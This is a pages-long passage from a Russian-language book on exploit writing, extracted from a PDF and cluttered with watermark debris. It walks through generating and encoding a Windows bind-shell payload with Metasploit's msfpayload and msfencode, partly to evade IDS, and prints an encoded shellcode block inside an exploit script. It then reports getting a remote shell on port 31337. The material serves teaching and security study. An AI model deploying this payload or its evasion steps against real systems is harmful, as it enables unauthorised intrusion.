книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
Разработка эксплойтов с помощью каркаса Metasploit 621 |
|
to |
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
-xcha |
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||||
|
|
|
|
|
|
Справка содержит не только короткие и длинные названия полезных на- |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
грузок, но и перечень аргументов, которые можно задать в командной строке. Так как мы атакуем программу, работающую под управлением ОС Windows на платформе x86, то выбирать следует лишь нагрузки с префиксом win32. Остановимся на нагрузке win32_bind, открывающей на уязвимой машине порт, при соединении с которым запускается оболочка (рис. 12.32). Следующий шаг – задать параметры полезной нагрузки. Указав в командной строке имя win32_bind и флаг S, мы получим дополнительную информацию о выбранной полезной нагрузке.
Рис. 12.32. Вывод параметров полезной нагрузки
У нее есть два обязательных параметра: EXITFUNC è LPORT, которые по умолчанию равны соответственно seh и 4444. Параметр EXITFUNC говорит, как полезная нагрузка должна «прибрать» за собой, когда закончит работу. Некоторые уязвимости можно эксплуатировать до бесконечности, если только правильно завершать исполнение. В ходе тестирования имеет смысл обращать внимание на то, как различные способы завершения сказываются на работе приложения. Параметр LPORT задает порт, на котором полезная нагрузка будет ожидать запросов на соединение.
Чтобы сгенерировать полезную нагрузку, достаточно задать значения параметров и выходной формат. Если указать флаг C, то нагрузка будет выведена в формате, пригодном для вставки в программу на языке C, а если флаг P – то в сценарий на языке Perl. Последний флаг R выводит нагрузку в двоичном формате для сохранения в файле или передачи по конвейеру утилите msfencode. Поскольку мы собираемся закодировать полезную нагрузку, то она будет нужна в двоичном виде, так что запишем ее в файл. Кроме того, ска-
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
622 Глава 12. Написание эксплойтов III |
|
|
|
|
to |
|
|
|
|
|
|
||||
w Click |
|
|
|
|
w Click |
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
m |
|||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
-xcha |
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
жем, что оболочку нужно привязать в порту 31337. На рис. 12.33 показаны-x cha |
|
e |
|
||||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
варианты запуска с тремя разными флагами, а также результаты работы в каждом случае.
Рис. 12.33. Генерирование полезной нагрузки
Поскольку msfpayload не пытается избежать появления недопустимых символов, то форматы для C и Perl годятся лишь, если нет никаких ограничений на используемые символы. Обычно это не так, поэтому для исключения «плохих» символов нагрузку приходится кодировать.
В процессе кодирования нагрузка модифицируется так, чтобы в ней не было недопустимых символов. В качестве побочного эффекта этот процесс затрудняет опознание нагрузки системами IDS. При кодировании общий размер полезной нагрузки увеличивается, так как в нее включается декодер. На рис. 12.34 показано, как будет выглядеть получившаяся строка атаки.
Входящая в каркас Metasploit утилита msfencode выполняет весь процесс кодирования, принимая на входе результат работы msfpayload в двоичном формате
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
624 Глава 12. Написание эксплойтов III |
|
|
|
|
|
to |
|
|
|
|
|
|
|||||
w Click |
|
|
|
|
w Click |
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
m |
|||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
Перечень имеющихся кодировщиков (окончание) |
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
-xcha |
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||||||
|
|
|
|
|
|
Таблица 12.1. |
|
|
|
|
|
e |
|
||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
Кодировщик |
Краткое описание |
Архитектура |
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
PexFnstenvSub |
XOR кодировщик двойных слов |
x86 |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Fnstecn/sub переменной длины |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
QuackQuack |
XOR кодировщик двойных слов для |
ppc |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
MacOS X на платформе PPC |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ShikataGaNai |
Shikata Ga Nai |
x86 |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Sparc |
XOR кодировщик двойных слов на |
sparc |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
платформе Sparc |
|
|
|
|
|
|
|
|
|
|
|
|
|
Чтобы повысить шансы на прохождение полезной нагрузки через фильтры, мы закодируем ее, представив в виде последовательности букв и цифр. Для этого можно воспользоваться кодировщиком Alpha2 или PexAlphaNum. Поскольку работает и тот, и другой, остановимся на PexAlphaNum. На рис. 12.36 показана информация об этом кодировщике.
Рис. 12.36. Информация о кодировщике PexAlphaNum
На последнем шаге двоичная полезная нагрузка, сохраненная в файле ~/framework/payload, кодируется с помощью PexAlphaNum, чтобы избавиться от нулевых символов. Результат представлен на рис. 12.37.
Итак, выбранный нами кодировщик сгенерировал алфавитно-цифровую полезную нагрузку, не содержащую нулей. Ее размер оказался равен 717 байтов. Закодированная нагрузка выведена в формате Perl, чтобы ее можно было непосредственно вставить в сценарий эксплойта.
Каркас Metasploit предлагает также графический вариант утилит msfpayload è msfencode, доступный через Web по адресу www.metasploit.com/ shellcode.html. Он позволяет выводить только те полезные нагрузки, которые соответствуют указанной операционной системе и аппаратной платформе. На рис. 12.38
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
Разработка эксплойтов с помощью каркаса Metasploit 627 |
|
to |
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
-xcha |
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||||
|
|
|
|
|
|
Чтобы сгенерировать и закодировать полезную нагрузку, достаточно щел- |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
кнуть по кнопке Generate Payload. Результат представлен на рис. 12.40 в обоих форматах: для C и Perl.
Рассмотрев различные методы, с помощью которых в каркасе Metasploit можно сгенерировать и закодировать полезную нагрузку, вставим ее в сценарий эксплойта (см. пример 12.6).
Пример 12.6. Сценарий для проведения атаки со вставленной полезной нагрузкой
1 $payload =
2 "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
3 "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
4 "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
5 "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
6 "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".
7 "\x4f\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58".
8 "\x4e\x56\x46\x42\x46\x32\x4b\x48\x45\x44\x4e\x53\x4b\x38\x4e\x37".
9 "\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x51\x4b\x38".
10"\x4f\x45\x42\x32\x41\x50\x4b\x4e\x43\x4e\x42\x43\x49\x34\x4b\x58".
11"\x46\x43\x4b\x58\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a".
12"\x46\x58\x42\x4c\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50".
13"\x44\x4c\x4b\x4e\x46\x4f\x4b\x53\x46\x55\x46\x32\x4a\x52\x45\x37".
14"\x43\x4e\x4b\x58\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48".
15"\x4e\x30\x4b\x54\x4b\x58\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x43\x30".
16"\x4e\x32\x4b\x38\x49\x38\x4e\x56\x46\x32\x4e\x41\x41\x56\x43\x4c".
17"\x41\x33\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x4b\x48\x42\x44".
18"\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a\x4b\x38\x42\x44\x4a\x50".
19"\x50\x35\x4a\x56\x50\x38\x50\x34\x50\x30\x4e\x4e\x42\x35\x4f\x4f".
20"\x48\x4d\x41\x33\x4b\x4d\x48\x56\x43\x55\x48\x46\x4a\x46\x43\x53".
21"\x44\x33\x4a\x36\x47\x47\x43\x47\x44\x53\x4f\x35\x46\x45\x4f\x4f".
22"\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x55\x4f\x4f".
23"\x48\x4d\x4f\x55\x49\x38\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x30".
24"\x44\x30\x45\x45\x4c\x46\x44\x30\x4f\x4f\x42\x4d\x4a\x56\x49\x4d".
25"\x49\x30\x45\x4f\x4d\x4a\x47\x35\x4f\x4f\x48\x4d\x43\x45\x43\x45".
26"\x43\x45\x43\x55\x43\x55\x43\x44\x43\x45\x43\x44\x43\x35\x4f\x4f".
27"\x42\x4d\x48\x36\x4a\x46\x4c\x37\x49\x46\x48\x46\x43\x35\x49\x38".
28"\x41\x4e\x45\x59\x4a\x46\x46\x4a\x4c\x31\x42\x47\x47\x4c\x47\x35".
29"\x4f\x4f\x48\x4d\x4c\x46\x42\x31\x41\x55\x45\x45\x4f\x4f\x42\x4d".
30"\x4a\x56\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x35\x4f\x4f\x48\x4d".
31"\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x58".
32"\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x45\x46\x45\x46\x45\x45\x55".
33"\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x57".
34"\x47\x35\x4f\x4f\x48\x4d\x45\x35\x4f\x4f\x42\x4d\x48\x46\x4c\x46".
35"\x46\x56\x48\x56\x4a\x46\x43\x36\x4d\x56\x49\x38\x45\x4e\x4c\x46".
36"\x42\x55\x49\x55\x49\x42\x4e\x4c\x49\x48\x47\x4e\x4c\x46\x46\x34".
37"\x49\x48\x44\x4e\x41\x53\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x44".
38"\x4d\x32\x50\x4f\x44\x44\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x33".
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
Интегрирование эксплойта в каркас 629 |
|
to |
|
|
|
|
|
|
||||
w Click |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
-xcha |
|
|
|
|
|
p |
|
-x cha |
|
|
|
||||||||
|
|
|
|
|
|
В первой строке эксплойт запущен в фоновом режиме. Чтобы проверить, |
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
сработал ли он, мы попробовали соединиться с портом 31337, заданным в процессе генерации. Как видите, соединение установлено, и мы получили оболочку на удаленной машине. Сработало!
Интегрирование эксплойта в каркас
С успехом завершив создание эксплойта, мы теперь займемся вопросом о том, как встроить его в каркас Metasploit Framework. Модуль, интегрированный в каркас, имеет по сравнению с автономным эксплойтом немало преимуществ. Будучи интегрирован, эксплойт получает в свое распоряжение такие механизмы, как автоматическое создание и кодирование полезной нагрузки, генерирование NOP-команд, простой интерфейс с сокетами и автоматическая вставка полезной нагрузки. Модульные подсистемы каркаса позволяют улучшить эксплойт, не меняя его кода, а также поддерживать его в актуальном состоянии. В Metasploit входит простой API для основных операций с TCP и UDP-сокетами, а также прозрачная работа с SSL и прокси-серверами. Как видно из рис. 12.9, автоматизация работы с полезной нагрузкой позволяет устанавливать необходимые соединения, не прибегая к помощи внешних программ и без написания дополнительного кода. И, наконец, каркас предоставляет понятный стандартизованный интерфейс, позволяющий создавать и передавать эксплойты в общее пользование гораздо проще, чем раньше. Принимая во внимание все эти достоинства, неудивительно, что разработ- чики эксплойтов стали отдавать предпочтение именно каркасам.
Внутреннее устройство каркаса
Каркас Metasploit Framework написан на объектно-ориентированном Perl. Весь код ядра и библиотек основан на использовании классов, как и каждый отдельный модуль эксплойта. Это означает, что разработка эксплойта для каркаса сводится к написанию некоторого класса, который должен соответствовать API, принятому в Metasploit. Но прежде чем углубиться в детали спецификации класса, разработчик должен понять основные принципы работы ядра. Поэтому поднимем капот и опишем взаимодействие между ядром и эксплойтом на всех этапах разработки и исполнения.
Первый шаг в процедуре организации атаки – выбор эксплойта. Для этого применяется команда use, которая заставляет ядро создать объект, принадлежащий классу эксплойта. В процессе создания объекта каркас устанавливает